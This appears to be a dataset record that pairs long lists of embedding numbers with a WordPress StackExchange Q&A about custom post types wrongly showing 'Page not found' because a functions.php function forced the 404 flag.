0.01311492919921875,
0.0177764892578125,
0.0259246826171875,
-0.00971221923828125,
-0.004180908203125,
0.0160675048828125,
0.00757598876953125,
-0.004924774169921875,
0.01421356201171875,
-0.004669189453125,
-0.0159759521484375,
-0.034912109375,
0.044189453125,
0.0018405914306640625,
-0.007293701171875,
-0.0230255126953125,
-0.004528045654296875,
0.037109375,
0.019805908203125,
0.032318115234375,
0.031494140625,
-0.0249481201171875,
0.025543212890625,
0.00565338134765625,
-0.0347900390625,
-0.0183258056640625,
0.035675048828125,
0.07305908203125,
-0.02239990234375,
-0.0227203369140625,
-0.024383544921875,
0.0118408203125,
0.0138092041015625,
-0.01010894775390625,
-0.033233642578125,
-0.02642822265625,
-0.007843017578125,
0.00382232666015625,
-0.03582763671875,
0.0321044921875,
0.034942626953125,
-0.0031948089599609375,
-0.0306549072265625,
-0.00385284423828125,
0.0293121337890625,
-0.037078857421875,
0.06854248046875,
0.0340576171875,
-0.0200042724609375,
-0.015625,
-0.01035308837890625,
-0.0021762847900390625,
-0.018463134765625,
0.021087646484375,
0.058746337890625,
0.03173828125,
-0.047332763671875,
0.0273284912109375,
-0.02764892578125,
0.046844482421875,
0.0352783203125,
0.00820159912109375,
-0.00868988037109375,
-0.032989501953125,
-0.003742218017578125,
0.0159149169921875,
0.0116729736328125,
-0.037139892578125,
-0.035003662109375,
-0.03436279296875,
-0.0016984939575195312,
-0.1064453125,
-0.0831298828125,
-0.00368499755859375,
-0.019287109375,
-0.01525115966796875,
-0.040313720703125,
-0.013214111328125,
0.0021152496337890625,
-0.053070068359375,
0.0002758502960205078,
-0.01013946533203125,
-0.04364013671875,
-0.04425048828125,
-0.07183837890625,
-0.05877685546875,
0.007476806640625,
0.005062103271484375,
0.0023822784423828125,
-0.00910186767578125,
0.0260009765625,
-0.00746917724609375,
-0.022247314453125,
-0.010955810546875,
0.0236968994140625,
0.0107879638671875,
-0.036224365234375,
0.01522064208984375,
0.0120697021484375,
-0.0035190582275390625,
0.01230621337890625,
-0.0026950836181640625,
0.03570556640625,
-0.0452880859375,
-0.03143310546875,
-0.0258941650390625,
-0.03607177734375,
-0.0232696533203125,
0.0125885009765625,
0.03155517578125,
-0.04425048828125,
-0.0178070068359375,
-0.059539794921875,
-0.0174560546875,
-0.0023899078369140625,
-0.043121337890625,
0.01531219482421875,
0.0203704833984375,
-0.0192108154296875,
0.00937652587890625,
-0.012542724609375,
0.032440185546875,
0.022003173828125,
-0.0374755859375,
-0.001445770263671875,
0.0187225341796875,
0.0027713775634765625,
0.0263519287109375,
-0.00452423095703125,
0.0474853515625,
-0.0201873779296875,
0.031463623046875,
0.025360107421875,
0.0159454345703125,
0.0287933349609375,
-0.020477294921875,
-0.00559234619140625,
0.0299835205078125,
0.01357269287109375,
-0.0142974853515625,
0.02630615234375,
-0.017852783203125,
0.0026111602783203125,
-0.03564453125,
0.0157470703125,
-0.06707763671875,
-0.00977325439453125,
0.028045654296875,
0.031829833984375,
-0.0221405029296875,
-0.04718017578125,
-0.0411376953125,
-0.0362548828125,
-0.0242919921875,
0.03741455078125,
0.0016298294067382812,
0.004169464111328125,
-0.0201263427734375,
-0.044342041015625,
-0.005290985107421875,
-0.029327392578125,
0.0303802490234375,
0.00299072265625,
0.040008544921875,
-0.0293121337890625,
0.0285797119140625,
-0.052398681640625,
-0.0027561187744140625,
-0.0129241943359375,
-0.050384521484375,
-0.01715087890625,
-0.0090484619140625,
0.0340576171875,
0.0018720626831054688,
-0.00020074844360351562,
-0.037200927734375,
0.0191650390625,
-0.0079498291015625,
0.0167999267578125,
0.0264129638671875,
0.007503509521484375,
0.0040283203125,
-0.01299285888671875,
0.033050537109375,
-0.035552978515625,
0.01226806640625,
-0.021881103515625,
-0.01336669921875,
-0.0235748291015625,
-0.05340576171875,
-0.0246429443359375,
-0.033935546875,
-0.0222625732421875,
0.00502777099609375,
-0.0202178955078125,
-0.055267333984375,
0.0079193115234375,
-0.007144927978515625,
-0.021209716796875,
-0.0278167724609375,
-0.01139068603515625,
0.027099609375,
-0.037689208984375,
-0.01084136962890625,
0.0160369873046875,
0.04547119140625,
0.0177154541015625,
0.001384735107421875,
-0.042266845703125,
0.01033782958984375,
0.0323486328125,
0.056304931640625,
0.037872314453125,
0.0004172325134277344,
-0.01422882080078125,
0.042999267578125,
0.011627197265625,
-0.0185394287109375,
-0.0290985107421875,
0.08306884765625,
-0.0195465087890625,
-0.01384735107421875,
0.00823211669921875,
-0.046905517578125,
0.04144287109375,
0.046966552734375,
0.0068817138671875,
-0.0040283203125,
0.028411865234375,
-0.00392913818359375,
-0.03350830078125,
0.0015106201171875,
0.01885986328125,
-0.0229644775390625,
-0.0006718635559082031,
0.033355712890625,
0.036834716796875,
0.025726318359375,
-0.007598876953125,
0.036407470703125,
0.045806884765625,
-0.00667572021484375,
0.0245361328125,
0.043365478515625,
-0.01904296875,
0.00481414794921875,
0.038238525390625,
-0.027801513671875,
-0.0017824172973632812,
-0.006683349609375,
0.040130615234375,
0.0047760009765625,
-0.05194091796875,
-0.0083465576171875,
0.0011358261108398438,
0.0304412841796875,
0.02276611328125,
0.005237579345703125,
0.0233612060546875,
0.025390625,
-0.01073455810546875,
-0.0136260986328125,
0.014892578125,
-0.0028934478759765625,
-0.031585693359375,
-0.0205230712890625,
0.0008893013000488281,
-0.030487060546875,
-0.006412506103515625,
0.009521484375,
-0.0270538330078125,
-0.0035839080810546875,
0.0095672607421875,
-0.005672454833984375,
-0.0007214546203613281,
0.045257568359375,
0.0177154541015625,
-0.022247314453125,
-0.01959228515625,
0.051025390625,
0.016265869140625,
-0.051025390625,
-0.0247650146484375,
0.020538330078125,
0.045989990234375,
-0.06915283203125,
-0.05230712890625,
0.044830322265625,
-0.00037550926208496094,
0.0066375732421875,
0.036041259765625,
-0.00894927978515625,
-0.0257720947265625,
-0.03570556640625,
-0.0242767333984375,
0.046417236328125,
-0.01806640625,
-0.0187835693359375,
-0.0032825469970703125,
-0.025115966796875,
-0.0341796875,
0.06329345703125,
-0.08905029296875,
0.0038890838623046875,
0.0218963623046875,
0.0406494140625,
-0.01244354248046875,
0.00441741943359375,
-0.1304931640625,
0.003173828125,
-0.04736328125,
0.00673675537109375,
0.07855224609375,
0.0037555694580078125,
0.02947998046875,
-0.0025463104248046875,
-0.039459228515625,
0.035675048828125,
0.0205535888671875,
-0.00650787353515625,
-0.020050048828125,
-0.0765380859375,
0.008453369140625,
-0.0285186767578125,
0.0039520263671875,
-0.00241851806640625,
-0.038604736328125,
-0.05908203125,
-0.0183563232421875,
0.01064300537109375,
0.01189422607421875,
0.00858306884765625,
-0.02325439453125,
-0.046417236328125,
0.0155487060546875,
0.042236328125,
0.0267486572265625,
-0.0286712646484375,
0.0250396728515625,
0.05706787109375,
-0.0225982666015625,
0.015716552734375,
0.04559326171875,
0.0399169921875,
-0.0343017578125,
0.038238525390625,
-0.004688262939453125,
-0.0229339599609375,
-0.046539306640625,
-0.0079498291015625,
-0.02435302734375,
0.04132080078125,
-0.0159454345703125,
-0.0247802734375,
0.007320404052734375,
-0.0037593841552734375,
-0.0165557861328125,
0.06524658203125,
0.043365478515625,
0.004688262939453125,
0.00324249267578125,
-0.0178680419921875,
0.01233673095703125,
0.0020694732666015625,
-0.0237274169921875,
-0.00629425048828125,
-0.003688812255859375,
-0.01398468017578125,
0.031341552734375,
-0.055908203125,
0.06915283203125,
0.06561279296875,
-0.014434814453125,
0.03875732421875,
0.00745391845703125,
-0.0006012916564941406,
0.0185699462890625,
-0.00615692138671875,
0.0026264190673828125,
-0.0064849853515625,
0.07781982421875,
0.018035888671875,
-0.015533447265625,
0.071533203125,
-0.036773681640625,
0.0137176513671875,
0.04718017578125,
0.057159423828125,
-0.0762939453125,
0.00557708740234375,
-0.0020503997802734375,
-0.005496978759765625,
0.037994384765625,
-0.00255584716796875,
0.004215240478515625,
-0.04302978515625,
0.005054473876953125,
0.04461669921875,
-0.01079559326171875,
-0.0031032562255859375,
0.003574371337890625,
-0.020050048828125,
0.01139068603515625,
0.0228118896484375,
0.0265655517578125,
-0.03887939453125,
0.0143280029296875,
0.031005859375,
-0.00189208984375,
0.00490570068359375,
0.01070404052734375,
-0.016998291015625,
-0.021392822265625,
-0.045562744140625,
-0.0298614501953125,
-0.01617431640625,
-0.0309600830078125,
0.0229339599609375,
0.00836181640625,
0.03948974609375,
0.062408447265625,
-0.02191162109375,
0.03594970703125,
0.0250091552734375,
0.0247344970703125,
-0.058929443359375,
-0.01947021484375,
0.028411865234375,
0.0258026123046875,
-0.023651123046875,
0.046539306640625,
-0.0019550323486328125,
-0.048004150390625,
-0.0160980224609375,
-0.0496826171875,
0.06634521484375,
-0.03546142578125,
-0.00766754150390625,
0.02435302734375,
-0.00016605854034423828,
-0.01593017578125,
-0.01306915283203125,
0.026611328125,
-0.0309600830078125,
0.0251922607421875,
-0.00240325927734375,
0.049652099609375,
0.0030670166015625,
0.006031036376953125,
-0.058502197265625,
0.1043701171875,
-0.044525146484375,
0.016082763671875,
0.01666259765625,
0.0400390625,
-0.024871826171875,
0.01355743408203125,
0.017608642578125,
0.04705810546875,
-0.013519287109375,
-0.01715087890625,
-0.023345947265625,
-0.0018672943115234375,
-0.01425933837890625,
0.03662109375,
0.0699462890625,
0.0196990966796875,
0.0124053955078125,
-0.00872039794921875,
0.044281005859375,
0.016326904296875,
-0.03350830078125,
0.0183563232421875,
-0.0017328262329101562,
0.03936767578125,
0.03387451171875,
-0.0196380615234375,
0.045562744140625,
-0.039703369140625,
-0.03314208984375,
0.0072784423828125,
0.00548553466796875,
-0.0232696533203125,
0.01332855224609375,
-0.005817413330078125,
-0.013519287109375,
0.01044464111328125,
-0.005767822265625,
0.037567138671875,
0.01568603515625,
0.007389068603515625,
0.028839111328125,
-0.04168701171875,
-0.0194091796875,
-0.00803375244140625,
0.042510986328125,
0.007701873779296875,
0.0201416015625,
0.0260467529296875,
0.01422882080078125,
0.023406982421875,
-0.0278167724609375,
0.011016845703125,
0.0142059326171875,
-0.0355224609375,
0.034912109375,
0.019195556640625,
0.021484375,
-0.03363037109375,
0.00884246826171875,
0.0081939697265625,
0.03314208984375,
-0.032012939453125,
-0.07904052734375,
0.0011281967163085938,
-0.00107574462890625,
-0.00008308887481689453,
0.04217529296875,
-0.0024356842041015625,
-0.01428985595703125,
0.054412841796875,
0.00677490234375,
0.0036106109619140625,
0.0114898681640625,
-0.0287628173828125,
0.01009368896484375,
0.019134521484375,
0.015045166015625,
0.03216552734375,
0.0186920166015625,
0.0047607421875,
0.0030612945556640625,
-0.0347900390625,
-0.049530029296875,
0.0193939208984375,
0.01371002197265625,
0.0286407470703125,
-0.007129669189453125,
0.06756591796875,
-0.0141448974609375,
0.005413055419921875,
-0.062225341796875,
-0.09185791015625,
0.0208282470703125,
0.046234130859375,
0.057647705078125,
0.032196044921875,
0.04736328125,
-0.006687164306640625,
-0.031982421875,
0.01898193359375,
-0.01360321044921875,
-0.038238525390625,
-0.01122283935546875,
-0.01325225830078125,
0.054412841796875,
0.06170654296875,
0.0257568359375,
-0.01299285888671875,
0.041015625,
0.076171875,
-0.0167388916015625,
0.0018100738525390625,
-0.00414276123046875,
-0.05596923828125,
0.032135009765625,
-0.0294189453125,
0.056427001953125,
-0.00928497314453125,
0.03302001953125,
0.005157470703125,
0.00455474853515625,
0.02972412109375,
-0.040985107421875,
0.0029315948486328125,
0.031890869140625,
0.02423095703125,
0.04058837890625,
-0.003993988037109375,
-0.0140228271484375,
-0.01358795166015625,
0.0261688232421875,
0.01010894775390625,
0.0355224609375,
0.029296875,
-0.0298004150390625,
-0.0268096923828125,
-0.01202392578125,
0.03900146484375,
-0.01058197021484375,
0.1258544921875,
-0.05419921875,
0.00800323486328125,
0.0243988037109375,
0.004749298095703125,
-0.0015659332275390625,
0.0293121337890625,
0.006610870361328125,
-0.012786865234375,
0.0028896331787109375,
-0.016448974609375,
-0.07049560546875,
-0.01959228515625,
0.033935546875,
-0.0294342041015625,
0.003154754638671875,
-0.01910400390625,
0.0288238525390625,
-0.0081787109375,
0.045623779296875,
-0.00389862060546875,
-0.03912353515625,
0.003314971923828125,
0.034454345703125,
-0.000965118408203125,
0.040191650390625,
-0.024444580078125,
0.007221221923828125,
-0.02728271484375,
-0.057586669921875,
0.0302276611328125,
-0.049652099609375,
0.02398681640625,
0.0209197998046875,
0.0175323486328125,
-0.00823211669921875,
-0.043212890625,
-0.032379150390625,
0.015350341796875,
-0.012786865234375,
0.0303192138671875,
-0.0216827392578125,
0.0098876953125,
-0.023284912109375,
0.0163421630859375,
0.0291748046875,
-0.0137786865234375,
0.011444091796875,
-0.004611968994140625,
-0.016021728515625,
0.03167724609375,
0.00237274169921875,
-0.01361846923828125,
-0.00978851318359375,
-0.018890380859375,
-0.00653076171875,
-0.023773193359375,
-0.0736083984375,
-0.065185546875,
0.0338134765625,
-0.0016412734985351562,
0.0010919570922851562,
-0.05377197265625,
0.061676025390625,
-0.0264739990234375,
0.005199432373046875,
-0.0184783935546875,
0.07830810546875,
-0.029205322265625,
-0.0016269683837890625,
-0.04742431640625,
-0.00775909423828125,
0.0015087127685546875,
0.05108642578125,
0.0172576904296875,
0.0204315185546875,
0.0309600830078125,
-0.0306396484375,
0.0191192626953125,
0.041595458984375,
0.033172607421875,
0.07244873046875,
-0.00351715087890625,
-0.0229034423828125,
0.01482391357421875,
0.0101165771484375,
-0.006561279296875,
-0.039947509765625,
-0.012420654296875,
0.00392913818359375,
-0.00406646728515625,
-0.0245361328125,
-0.01129913330078125,
-0.00893402099609375,
-0.0535888671875,
-0.09771728515625,
0.05950927734375,
-0.0252838134765625,
-0.04217529296875,
-0.0024261474609375,
-0.006175994873046875,
-0.033172607421875,
0.01898193359375,
-0.00449371337890625,
-0.0171356201171875,
0.02001953125,
0.05389404296875,
0.00174713134765625,
0.01953125,
0.0216064453125,
0.0057525634765625,
-0.003360748291015625,
0.02276611328125,
0.014892578125,
-0.0068359375,
0.0226898193359375,
-0.007659912109375,
0.06396484375,
0.0960693359375,
0.00946807861328125,
0.04296875,
-0.01020050048828125,
-0.0863037109375,
-0.0089263916015625,
-0.0218963623046875,
-0.0130462646484375,
-0.0009822845458984375,
0.04730224609375,
0.0277099609375,
0.011566162109375,
-0.026214599609375,
-0.060943603515625,
-0.058563232421875,
0.0255889892578125,
-0.011871337890625,
0.0137786865234375,
-0.0782470703125,
0.010894775390625,
0.039581298828125,
-0.0003364086151123047,
0.0118408203125,
-0.0374755859375,
-0.0386962890625,
-0.0251922607421875,
-0.06072998046875,
-0.0113525390625,
-0.002979278564453125,
-0.0379638671875,
0.0208587646484375,
0.0010633468627929688,
0.07110595703125,
-0.038970947265625,
0.037139892578125,
0.045013427734375,
0.046051025390625,
0.005687713623046875,
-0.006805419921875,
-0.036529541015625,
0.0290374755859375,
-0.00377655029296875,
0.00012934207916259766,
-0.044891357421875,
-0.0207061767578125,
0.01557159423828125,
0.0173492431640625,
-0.01155853271484375,
0.0206756591796875,
0.00044846534729003906,
0.0273284912109375,
-0.0191650390625,
0.05242919921875,
0.0009975433349609375,
0.01180267333984375,
-0.00933837890625,
0.02972412109375,
-0.0087127685546875,
-0.029510498046875,
0.021453857421875,
-0.04327392578125,
-0.00579833984375,
-0.005199432373046875,
-0.01554107666015625,
-0.036590576171875,
0.00028228759765625,
-0.054229736328125,
-0.018890380859375,
0.004390716552734375
] |
03b5744c46ad6bd34a8db40b6b7245349be6f8a7
|
Wordpress Stackexchange
Q: Custom Post Type Works but Still Shows "Page Not Found" I have a weird problem when creating custom post types. Everything works, the archive page shows the posts and the posts show their content, but for both the title of the site says, "Page not found."
You can see an example at http://coachingforliteracy.org/events/.
I've flushed the permalinks, which is why the pages load their content, but there is still some disconnect. Any thoughts?
A: Hopefully this will provide some answers to anyone who runs into a similar problem.
I had copied/created a (poor) function in my functions.php file that was looking for specific templates and if they were not found it would set $wp_query->is_404 = TRUE and that was the cause of the problem.
Of course, the higher-level answer is let WordPress work for you. If you structure your template files correctly, you don't need to look for them yourself.
|
Q: Custom Post Type Works but Still Shows "Page Not Found" I have a weird problem when creating custom post types. Everything works, the archive page shows the posts and the posts show their content, but for both the title of the site says, "Page not found."
You can see an example at http://coachingforliteracy.org/events/.
I've flushed the permalinks, which is why the pages load their content, but there is still some disconnect. Any thoughts?
A: Hopefully this will provide some answers to anyone who runs into a similar problem.
I had copied/created a (poor) function in my functions.php file that was looking for specific templates and if they were not found it would set $wp_query->is_404 = TRUE and that was the cause of the problem.
Of course, the higher-level answer is let WordPress work for you. If you structure your template files correctly, you don't need to look for them yourself.
|
wordpress
|
{
"language": "en",
"length": 151,
"provenance": "stackexchange_00019.jsonl.gz:437324",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/114860"
}
|
[
0.04388427734375,
0.0015001296997070312,
0.0174560546875,
0.0161285400390625,
-0.0030803680419921875,
-0.0235748291015625,
0.0467529296875,
-0.05364990234375,
0.0013885498046875,
-0.00856781005859375,
-0.01058197021484375,
-0.00635528564453125,
-0.0212554931640625,
-0.0340576171875,
0.008453369140625,
-0.041168212890625,
0.00888824462890625,
-0.0009474754333496094,
0.01337432861328125,
-0.041900634765625,
0.031036376953125,
-0.045928955078125,
0.022674560546875,
0.023895263671875,
0.0276031494140625,
-0.0030879974365234375,
0.0634765625,
-0.0157623291015625,
0.0103912353515625,
-0.0174407958984375,
0.0306854248046875,
-0.01419830322265625,
0.013458251953125,
0.00377655029296875,
0.0126495361328125,
0.0013322830200195312,
0.01055145263671875,
0.0028247833251953125,
-0.00609588623046875,
0.04107666015625,
-0.00611114501953125,
0.009735107421875,
0.056182861328125,
0.0030384063720703125,
0.0242156982421875,
-0.03997802734375,
-0.0015430450439453125,
-0.063232421875,
0.001453399658203125,
-0.002788543701171875,
-0.020416259765625,
-0.00373077392578125,
0.00234222412109375,
-0.0322265625,
-0.014373779296875,
-0.0193328857421875,
0.0198822021484375,
-0.0016384124755859375,
0.023529052734375,
-0.051849365234375,
-0.0316162109375,
0.0213165283203125,
0.023284912109375,
0.03094482421875,
-0.033599853515625,
0.005542755126953125,
0.0390625,
-0.0005640983581542969,
-0.036590576171875,
-0.04925537109375,
0.018707275390625,
0.00576019287109375,
0.01375579833984375,
-0.003726959228515625,
0.0004265308380126953,
-0.054962158203125,
0.01334381103515625,
-0.037139892578125,
-0.002216339111328125,
0.038665771484375,
0.00473785400390625,
0.003704071044921875,
-0.03204345703125,
-0.0361328125,
0.0218505859375,
-0.00017631053924560547,
-0.018341064453125,
-0.00965118408203125,
-0.0241851806640625,
-0.025482177734375,
-0.0235748291015625,
-0.07025146484375,
-0.0147705078125,
0.0234527587890625,
-0.0098114013671875,
-0.0086669921875,
0.0160675048828125,
0.073486328125,
-0.02734375,
0.040313720703125,
-0.028411865234375,
-0.01024627685546875,
0.044952392578125,
-0.06512451171875,
0.0264129638671875,
-0.0123748779296875,
-0.00628662109375,
0.005657196044921875,
0.057403564453125,
0.022491455078125,
-0.002414703369140625,
0.036712646484375,
-0.0036754608154296875,
-0.040557861328125,
-0.016204833984375,
0.0173492431640625,
-0.02081298828125,
-0.016357421875,
0.007297515869140625,
-0.0244598388671875,
0.0069580078125,
0.036376953125,
0.03375244140625,
-0.05828857421875,
0.006374359130859375,
0.007587432861328125,
-0.0200042724609375,
-0.0667724609375,
0.06793212890625,
0.038909912109375,
-0.034698486328125,
0.0019378662109375,
0.0231781005859375,
-0.021636962890625,
-0.01148223876953125,
-0.0301055908203125,
0.001983642578125,
-0.04376220703125,
-0.01204681396484375,
0.012542724609375,
0.0011920928955078125,
-0.0210113525390625,
0.021636962890625,
-0.00969696044921875,
-0.0027332305908203125,
0.033294677734375,
0.01629638671875,
0.0254058837890625,
-0.01367950439453125,
-0.06634521484375,
0.0284271240234375,
-0.01486968994140625,
0.035064697265625,
-0.00887298583984375,
-0.005523681640625,
-0.064208984375,
0.0078582763671875,
-0.04193115234375,
0.0304107666015625,
-0.045806884765625,
0.04638671875,
0.0013170242309570312,
-0.004791259765625,
-0.00885009765625,
-0.0386962890625,
0.001041412353515625,
-0.0540771484375,
-0.0115966796875,
0.00746917724609375,
0.005023956298828125,
-0.004222869873046875,
-0.00730133056640625,
-0.0289154052734375,
-0.01337432861328125,
-0.01232147216796875,
-0.002429962158203125,
0.0118560791015625,
0.0187225341796875,
-0.001544952392578125,
0.043365478515625,
0.00433349609375,
-0.0298919677734375,
0.0204925537109375,
-0.0087127685546875,
-0.0819091796875,
0.0587158203125,
0.022674560546875,
0.05694580078125,
-0.0175018310546875,
0.004657745361328125,
0.09466552734375,
0.060638427734375,
-0.03851318359375,
0.022705078125,
-0.004032135009765625,
-0.005611419677734375,
-0.024658203125,
0.004268646240234375,
-0.02435302734375,
0.00785064697265625,
-0.02923583984375,
0.01490020751953125,
-0.006092071533203125,
0.026641845703125,
-0.0298614501953125,
0.0225067138671875,
-0.0243377685546875,
0.039031982421875,
-0.0017261505126953125,
0.01538848876953125,
0.030242919921875,
0.022674560546875,
-0.035003662109375,
-0.01708984375,
-0.034576416015625,
0.00705718994140625,
0.0029773712158203125,
-0.02197265625,
-0.033538818359375,
-0.018829345703125,
-0.039031982421875,
-0.021881103515625,
-0.0545654296875,
0.03997802734375,
0.026092529296875,
0.01421356201171875,
-0.0292816162109375,
0.007259368896484375,
-0.0120086669921875,
0.030120849609375,
-0.032623291015625,
0.0189208984375,
0.0443115234375,
0.018157958984375,
-0.0625,
-0.0113372802734375,
-0.043426513671875,
-0.0238494873046875,
-0.00588226318359375,
0.0677490234375,
0.022918701171875,
0.041900634765625,
-0.01995849609375,
-0.0028781890869140625,
0.05352783203125,
-0.041961669921875,
-0.00873565673828125,
0.00673675537109375,
0.0228271484375,
0.013916015625,
0.0304412841796875,
-0.013214111328125,
0.022003173828125,
-0.042022705078125,
0.0477294921875,
0.01253509521484375,
0.0024547576904296875,
0.0311431884765625,
0.010833740234375,
-0.0236663818359375,
0.0005421638488769531,
0.0146026611328125,
-0.00934600830078125,
-0.00115966796875,
0.039215087890625,
0.00960540771484375,
0.03955078125,
0.0214080810546875,
-0.01837158203125,
0.00713348388671875,
0.00595855712890625,
-0.023834228515625,
-0.001537322998046875,
-0.0004444122314453125,
0.05108642578125,
0.0347900390625,
-0.052886962890625,
-0.003314971923828125,
0.0335693359375,
0.0246734619140625,
-0.0021381378173828125,
0.032440185546875,
-0.044525146484375,
-0.0063934326171875,
-0.0034160614013671875,
-0.0203857421875,
-0.0181884765625,
0.031280517578125,
0.033660888671875,
0.0111083984375,
0.020172119140625,
0.009002685546875,
-0.0211639404296875,
0.049835205078125,
0.023101806640625,
-0.02777099609375,
0.0069732666015625,
-0.09356689453125,
0.07843017578125,
-0.08013916015625,
0.037994384765625,
0.062255859375,
-0.037872314453125,
0.027923583984375,
0.0031909942626953125,
0.0281524658203125,
0.005130767822265625,
0.0219268798828125,
0.005084991455078125,
-0.02825927734375,
-0.01959228515625,
0.01189422607421875,
0.048370361328125,
0.08038330078125,
0.02490234375,
-0.0191650390625,
0.0145263671875,
0.066650390625,
-0.047027587890625,
-0.09716796875,
-0.003116607666015625,
-0.01171112060546875,
-0.003772735595703125,
-0.0154571533203125,
0.0008063316345214844,
-0.008148193359375,
-0.01360321044921875,
0.007732391357421875,
0.00849151611328125,
-0.0396728515625,
-0.06689453125,
-0.0814208984375,
-0.0946044921875,
-0.045623779296875,
0.0029430389404296875,
0.00563812255859375,
0.006031036376953125,
0.044586181640625,
0.013275146484375,
-0.07080078125,
0.01194000244140625,
0.0328369140625,
-0.02874755859375,
0.021759033203125,
0.0277557373046875,
-0.0247802734375,
0.029266357421875,
0.00921630859375,
0.05731201171875,
0.0282440185546875,
-0.0325927734375,
-0.033538818359375,
-0.02734375,
-0.0265045166015625,
-0.007228851318359375,
0.028167724609375,
0.04046630859375,
-0.0023555755615234375,
0.0208740234375,
-0.039642333984375,
-0.055877685546875,
-0.014984130859375,
-0.05767822265625,
0.04583740234375,
0.037933349609375,
0.0007457733154296875,
-0.032318115234375,
0.046875,
0.003528594970703125,
0.0226287841796875,
0.0185394287109375,
-0.023651123046875,
0.03045654296875,
0.0086822509765625,
0.0059051513671875,
-0.030120849609375,
0.0290069580078125,
-0.01268768310546875,
0.0226898193359375,
0.021636962890625,
0.005908966064453125,
0.00859832763671875,
0.0025882720947265625,
-0.0165252685546875,
-0.0780029296875,
0.04351806640625,
-0.0335693359375,
0.0017194747924804688,
-0.0298004150390625,
-0.0294189453125,
0.029296875,
0.0987548828125,
-0.041046142578125,
-0.0118560791015625,
-0.0015249252319335938,
0.0165557861328125,
-0.02972412109375,
-0.0364990234375,
-0.026641845703125,
-0.0011882781982421875,
-0.0228271484375,
-0.00007891654968261719,
-0.00855255126953125,
-0.017974853515625,
-0.011749267578125,
-0.0125732421875,
-0.0104827880859375,
-0.031463623046875,
0.0291595458984375,
-0.0276947021484375,
0.00833892822265625,
-0.018585205078125,
-0.00608062744140625,
-0.03985595703125,
-0.009674072265625,
-0.022552490234375,
-0.08404541015625,
-0.0246429443359375,
-0.0014095306396484375,
0.056182861328125,
0.0054168701171875,
-0.0256805419921875,
-0.0206451416015625,
0.026275634765625,
0.05242919921875,
0.046539306640625,
-0.00811004638671875,
-0.054534912109375,
0.01384735107421875,
0.0177764892578125,
0.0300445556640625,
-0.00485992431640625,
-0.0016336441040039062,
0.01018524169921875,
-0.0309295654296875,
-0.01038360595703125,
-0.02032470703125,
-0.04730224609375,
0.0230865478515625,
-0.057891845703125,
-0.0011310577392578125,
-0.0181121826171875,
-0.005645751953125,
0.031646728515625,
0.01093292236328125,
-0.004894256591796875,
-0.037811279296875,
-0.01544189453125,
0.050323486328125,
0.004764556884765625,
-0.004123687744140625,
-0.0005512237548828125,
0.06695556640625,
0.005615234375,
-0.0263671875,
-0.035125732421875,
0.007289886474609375,
0.0005755424499511719,
-0.0186614990234375,
0.02752685546875,
-0.0100250244140625,
0.01444244384765625,
-0.004245758056640625,
-0.03692626953125,
-0.0114898681640625,
-0.0090484619140625,
0.06329345703125,
-0.0105743408203125,
-0.0157623291015625,
0.01117706298828125,
-0.040496826171875,
0.01030731201171875,
0.049285888671875,
-0.0057525634765625,
-0.0147247314453125,
-0.00658416748046875,
0.036468505859375,
-0.042266845703125,
0.0208282470703125,
-0.0211181640625,
-0.019561767578125,
0.013519287109375,
-0.006473541259765625,
0.041778564453125,
0.0241851806640625,
-0.0123138427734375,
0.01763916015625,
-0.042266845703125,
0.01305389404296875,
-0.00930023193359375,
0.005939483642578125,
-0.023956298828125,
0.0194854736328125,
0.003589630126953125,
0.005222320556640625,
-0.0016231536865234375,
-0.006702423095703125,
0.052337646484375,
-0.007732391357421875,
-0.043182373046875,
-0.00806427001953125,
-0.0226287841796875,
-0.03289794921875,
0.026763916015625,
0.0200042724609375,
0.0272064208984375,
0.033203125,
0.004688262939453125,
0.01824951171875,
0.0220489501953125,
0.031341552734375,
-0.0222625732421875,
-0.0234832763671875,
0.01654052734375,
-0.01983642578125,
-0.02392578125,
0.05853271484375,
0.0076141357421875,
0.0062408447265625,
-0.01611328125,
-0.003864288330078125,
-0.0093231201171875,
0.07147216796875,
0.036224365234375,
-0.042938232421875,
-0.007328033447265625,
0.0567626953125,
-0.004024505615234375,
-0.041748046875,
-0.04498291015625,
0.0121002197265625,
0.054534912109375,
-0.030609130859375,
-0.005645751953125,
0.031982421875,
-0.0145111083984375,
-0.01329803466796875,
0.017608642578125,
-0.02593994140625,
-0.04779052734375,
-0.0279388427734375,
0.00479888916015625,
0.03704833984375,
-0.0217742919921875,
-0.0287017822265625,
0.035308837890625,
-0.054046630859375,
0.01287841796875,
-0.00899505615234375,
-0.0210418701171875,
0.0080108642578125,
0.004817962646484375,
0.00862884521484375,
-0.039459228515625,
-0.0084381103515625,
-0.0012378692626953125,
0.00872802734375,
-0.0165557861328125,
0.005443572998046875,
-0.00496673583984375,
-0.040252685546875,
0.022125244140625,
-0.0122833251953125,
-0.00557708740234375,
0.0257110595703125,
0.0250701904296875,
0.0051116943359375,
-0.0016536712646484375,
-0.05865478515625,
0.0177459716796875,
-0.033203125,
0.0010852813720703125,
-0.0247650146484375,
-0.050201416015625,
-0.04412841796875,
-0.01513671875,
0.025543212890625,
0.0102996826171875,
-0.0096282958984375,
-0.053375244140625,
-0.018157958984375,
0.03460693359375,
0.055145263671875,
0.0299530029296875,
-0.0152435302734375,
0.08294677734375,
-0.007625579833984375,
0.0537109375,
0.01129150390625,
0.03265380859375,
-0.01220703125,
-0.0137786865234375,
0.0232086181640625,
-0.0276031494140625,
-0.03411865234375,
-0.029388427734375,
-0.00010442733764648438,
0.03704833984375,
0.051727294921875,
-0.004730224609375,
-0.026885986328125,
-0.0228271484375,
-0.001529693603515625,
-0.039794921875,
0.07684326171875,
-0.01314544677734375,
-0.015228271484375,
-0.0003414154052734375,
-0.038726806640625,
-0.00841522216796875,
0.0275115966796875,
-0.0162353515625,
0.0149993896484375,
0.0005016326904296875,
0.00490570068359375,
0.0164642333984375,
-0.0256805419921875,
0.0239410400390625,
0.037750244140625,
0.0156402587890625,
0.048614501953125,
0.004817962646484375,
0.0222015380859375,
0.01910400390625,
0.02325439453125,
-0.0191192626953125,
-0.017730712890625,
0.0426025390625,
0.00860595703125,
-0.0198211669921875,
0.01073455810546875,
-0.030548095703125,
0.00034499168395996094,
0.061065673828125,
0.0288543701171875,
-0.08233642578125,
-0.0122528076171875,
-0.0015325546264648438,
-0.005428314208984375,
0.001537322998046875,
-0.0204925537109375,
0.0171356201171875,
-0.006313323974609375,
0.0028476715087890625,
0.0022869110107421875,
-0.041046142578125,
-0.0219268798828125,
-0.0031185150146484375,
-0.01116180419921875,
-0.004352569580078125,
